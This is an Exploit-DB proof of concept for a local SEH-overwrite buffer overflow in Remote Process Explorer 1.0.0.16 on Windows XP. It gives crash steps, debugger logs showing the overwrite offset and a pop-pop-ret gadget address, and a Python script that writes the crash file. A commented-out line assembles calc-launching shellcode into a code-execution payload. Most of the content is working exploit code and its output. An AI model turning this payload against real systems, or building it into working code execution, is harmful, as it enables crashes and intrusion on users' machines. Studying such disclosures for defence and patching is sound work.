Exploit-DB #46304
Description: Remote Process Explorer 1.0.0.16 - Buffer Overflow (PoC) (SEH Overwrite)
Type: dos
Platform: windows
Date: 2019-02-01
Author: Rafael Pedrero

Exploit:
# Exploit Title: Remote Process Explorer v1.0.0.16 - Denial of Service (PoC) and SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
# Software Link : http://lizardsystems.com/action.php?action=home&product=rpexplorer&version=1.0.0.16
# Tested Version: 1.0.0.16
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run rpexplorer.exe
# 2.- copy content rpexplorer_Crash.txt to clipboard (result from this python script)
# 3.- Go to "Add computer" and paste the result in the first textbox and click in Add button.
# 4.- Select "AAAAAAAAA...." computer, right mouse button and Connect and you will see a crash.

'''

Detect:

SEH chain of thread 00000144
Address    SE handler
0114FEC8   78413977
41387741   *** CORRUPT ENTRY ***

EAX 0114FEBC
ECX 0114FEC0 ASCII
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
EDX 41347741
EBX 0116236C
ESP 0114FBF0
EBP 0114FEC0 ASCII
"w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B
ESI 000000D4
EDI 00000000
EIP 00404F48 rpexplor.00404F48
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDC000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 1272  Prec NEAR,53  Mask    1 1 0 0 1 0

Log data, item 24
 Address=0BADF00D
 Message=    SEH record (nseh field) at 0x0114fec8 overwritten with normal
pattern : 0x41387741 (offset 684), followed by 308 bytes of cyclic data
after the handler

Check after script:

SEH chain of thread 00000D04
Address    SE handler
0114FEC8   43434343
42424242   *** CORRUPT ENTRY ***


Log data, item 53
 Address=7E6E5E50
 Message=  0x7e6e5e50 : pop ebx # pop ebp # ret 0x04 | asciiprint,ascii
{PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH:
True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)


'''

#!/usr/bin/env python

'''
calc = ("\x31\xC9"                # xor ecx,ecx
        "\x51"                    # push ecx
        "\x68\x63\x61\x6C\x63"    # push 0x636c6163
        "\x54"                    # push dword ptr esp
        "\xB8\xC7\x93\xC2\x77"    # mov eax,0x77c293c7
        "\xFF\xD0")               # call eax
'''

crash = "\x41" * 684 + "BBBB" + "CCCC"
#crash = "\x41" * 684 +  "\xEB\x14\x90\x90" + "\x50\x5e\x6e\x7e" + "\x90" * 24 + calc + "A"*(1000 - 32)
f = open ("rpexplorer_Crash.txt", "w")
f.write(crash)
f.close()